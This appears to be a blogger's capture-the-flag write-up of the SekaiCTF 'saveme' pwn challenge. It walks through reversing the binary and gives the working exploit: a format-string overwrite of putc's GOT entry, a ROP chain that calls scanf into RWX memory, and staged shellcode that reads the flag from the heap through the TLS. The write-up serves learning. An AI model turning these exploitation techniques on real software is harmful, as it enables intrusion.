Intro
Hello again, its been a while. Havent written anything recently mainly because I dont have anything to write about - im still playing ctf but most of the challenges I solve (or more likely, fail miserably to solve) don’t have anything that hasnt been discussed already at length - and in a
much more entertaining and informative way than i could.
Today is different, though.
This weekend i played SekaiCTF with zh3r0. I only managed to solve a single pwn challenge - saveme. It was fairly unique - not as much as the other pwn challenges, though :P.
The challenge
Starting the binary we are greeted with a simple prompt:
This is the message from flag:
------------------------------------------------------
| I got lost in my memory, moving around and around. |
| Please help me out! |
| Here is your gift: 0x7fff84b50a40 |
------------------------------------------------------
[1] Save him
[2] Ignore
Your option:
Already a stack leak, nice. Apparently flag
has gotten lost somewhere in memory. We have the choice to either save him, or ignore him. Well, given that I’m playing ctf I dont have time for the problems of others at the moment, so we ignore:
Please leave note for the next person:
We can leave a note for the next poor soul that comes by, okay. Which then gets printed back to us - of course.
Reversing
Checksec gives us:
[*] '/root/Documents/CTF/SekaiCTF22/saveme/saveme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
Partial relro and no PIE generally makes a nice 1-2 combo - lets see if we can use this anywhere. The main function looks like this:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 choice; // [rsp+8h] [rbp-68h] BYREF
char format[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
choice = 0LL;
load_flag(a1, a2, a3);
alloc_mem_and_setup(format);
seccomp_start();
puts("This is the message from flag:");
puts("------------------------------------------------------");
puts("| I got lost in my memory, moving around and around. |");
puts("| Please help me out! |");
printf("| Here is your gift: %p |\n", format);// memory leak?
puts("------------------------------------------------------");
puts("[1] Save him");
puts("[2] Ignore");
printf("Your option: ");
__isoc99_scanf("%lld", &choice);
if ( choice == 1 )
{
puts("Hmmm, so where should I start to go?");
}
else if ( choice == 2 )
{
printf("Please leave note for the next person: ");
__isoc99_scanf("%80s", format);
printf(format); // fsb
putc(10, stdout);
}
return 0LL;
}
Prett much what we would expect from out interactions. However there are a few intersting functions - and an obvious format string bug.
Lets take a look at load_flag
:
unsigned __int64 load_flag()
{
int fd; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = malloc(0x50uLL);
fd = open("flag.txt", 0);
if ( fd == -1 )
{
puts("Cannot read flag!\nExiting...");
exit(-1);
}
read(fd, buf, 0x50uLL);
close(fd);
return v3 - __readfsqword(0x28u);
}
Nice, so no need to open the file ourselves - the flag will be stored on the heap, so once we get some kind of code execution it should be fairly easy to find. Now lets take a look into alloc_mem_and_setup
:
unsigned __int64 __fastcall alloc_mem_and_setup(void *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(a1, 0, 0x50uLL);
mmap((void *)0x405000, 0x1000uLL, 7, 34, 0, 0LL);// rwx mem
return v2 - __readfsqword(0x28u);
}
Very interesting, it seems the author is giving us a not so subtle nudge that to reach the flag, we should be using shellcode.
Theres one more function that we should be interested in, seccomp_start
:
unsigned __int64 sub_4012BB()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL);
seccomp_load(v1);
return v2 - __readfsqword(0x28u);
}
So we setup some rules, we can see them clearer using seccomp-tools:
oot in ~/Documents/CTF/SekaiCTF22/saveme λ seccomp-tools dump ./saveme
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
So, we allow only the x86_64 syscalls for read
, write
and exit_group
. This is fine though, because as we saw prior the flag is already in memory - so no need to open
it a second time.
Now that we have a good idea of our situation, lets move on to exploitation.
Exploitation
The important thing here is the scanf - we only get 80 chars of space. I tried a lot of different approaches.
The first was hijacking putc@got
to return back into main to get more uses of the fsb this always resulted in either printf or scanf segfaulting in-function due to a mis-aligned stack. We can see in the instruction documentation for movaps that When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.
This is generally the case for instructions that deal with floating points that require writing to a destination.
My second approach was to write a ropchain to the stack, however owing to the amount of space i was only able to write about 2 qwords - not enough for anything resembling a ropchain.
The reason I used so many bytes was because if i used more than a certain number of padding characters for my format string at a time, seccomp would kill my process due to SIGSYS (bad syscall). I thought it could be brk()
triggering this, as it is a trick in CTF to get malloc to call by providing an obscenely large string, but i never took the time to figure it out.
My final approach is fairly simple - yet ironically took me the longest to come up with. If we take a look at the stack before we call putc
, we can see the following:
0x007fffffffe230│+0x0000: 0x0000000000000000 ← $rsp
0x007fffffffe238│+0x0008: 0x0000000000000002
0x007fffffffe240│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ← $r10
0x007fffffffe248│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAA"
0x007fffffffe250│+0x0020: "AAAAAAAAAAAAAAA"
0x007fffffffe258│+0x0028: 0x41414141414141 ("AAAAAAA"?)
0x007fffffffe260│+0x0030: 0x0000000000000000
0x007fffffffe268│+0x0038: 0x0000000000000000
We have 2 qwords, and then our input buffer. This made me think - what if I hijacked putc@got
with a gadget that has more than 2 pops? Then surely our stack ptr would be on top of our input - and we could have an actual ropchain!
My payload in the end looked like this:
pload = b"%5554c" + b"%10$hn" + b"A"*4 + p64(e.got['putc'])
#0x00000000004015bb: pop rdi; ret;
pload += p64(0x4015bb)
# 0x4021a0 - 0x4021a4 → "%80s"
pload += p64(0x4021a0)
#0x00000000004015b9: pop rsi; pop r15; ret;
pload += p64(0x4015b9)
pload += p64(rwx)
pload += b"B"*8
#pload += p64(0x4015bb+1)
# [0x404088] __isoc99_scanf@GLIBC_2.7 → 0x401116
pload += p64(0x401116)
pload += p64(rwx)
First we hit the got like we talked about, we overwrite the last 2 bytes so it looks like:
gef➤ x/7i 0x4015b2
0x4015b2: pop rbx
0x4015b3: pop rbp
0x4015b4: pop r12
0x4015b6: pop r13
0x4015b8: pop r14
0x4015ba: pop r15
0x4015bc: ret
This is enough pops that we can safely return into our input string after our payload.
Next, we setup a small chain to call scanf("%80s", 0x405000)
so we can load an initial shellcode.
My first shellcode is a small read
:
mov rax, 0
mov rdi, 0
mov rsi, 0x405000
mov rdx, 0x4141
syscall
The idea being that my final payload can have any number of badchars, and i wont have to deal with scanf
failing - because fuck scanf
:) .
My final payload will require some explanation:
shc = asm('''
pop rcx
pop rcx
pop rcx
pop rcx
sub rcx, 0x240b3
mov rsi, rcx
sub rsi, 0x2910
mov rsi, qword ptr [rsi]
add rsi, 0x290
mov rax, 1
mov rdi, 1
mov rdx, 64
syscall
''')
p.sendline(b"\x90"*0x20 + shc)
Firstly, we pop rcx
. This is because further down the stack, there is a pointer to __libc_start_main
. Once we get it, subtract to get the base of libc - not really needed but its convenient. Finally, i did some looking around for a heap address we could load, and I found that the address of the tcache_perthread_struct
is stored in the thread local storage.
I wont explain much of it, but its basically just an area you can use to store variables uniquely to a thread. It also stores some data such as the original canary, some destructor functions, and some other stuff.
So we subtract from libc until we reach the tls, as it is stored adjacent to libc, and then we load the heap address. Since the flag is the second chunk allocated after the tcache, all we have to do is add the size to its address, and we should be able to get the flag chunk.
Finally we write out what should be the flag to stdout:
QAAAAp@@[DEBUG] Received 0x78 bytes:
00000000 53 45 4b 41 49 7b 59 30 75 5f 67 30 54 5f 6d 33 │SEKA│I{Y0│u_g0│T_m3│
00000010 5f 6e 40 77 5f 39 33 65 31 32 37 66 63 36 65 33 │_n@w│_93e│127f│c6e3│
00000020 61 62 37 33 37 31 32 34 30 38 61 35 30 39 30 66 │ab73│7124│08a5│090f│
00000030 63 39 61 31 32 7d 00 00 00 00 00 00 00 00 00 00 │c9a1│2}··│····│····│
00000040 2f 72 75 6e 2e 73 68 3a 20 6c 69 6e 65 20 33 3a │/run│.sh:│ lin│e 3:│
00000050 20 20 20 36 31 33 20 53 65 67 6d 65 6e 74 61 74 │ 6│13 S│egme│ntat│
00000060 69 6f 6e 20 66 61 75 6c 74 20 20 20 20 20 20 2e │ion │faul│t │ .│
00000070 2f 73 61 76 65 6d 65 0a │/sav│eme·│
00000078
SEKAI{Y0u_g0T_m3_n@w_93e127fc6e3ab73712408a5090fc9a12}\x00\x00\x00\x00\x00/run.sh: line 3: 613 Segmentation fault ./saveme
This challenge was pretty fun - it reminded me of how many different ways you can exploit an arbitrary write in a context like this. Now that we found flag, we have to give his gift back - we never even used the stack leak!
;(
Fun challenge, and very fun ctf. Thats it.
See you in another 3 months :P.
Also thanks to my teammate strikerfor his help on the challenge.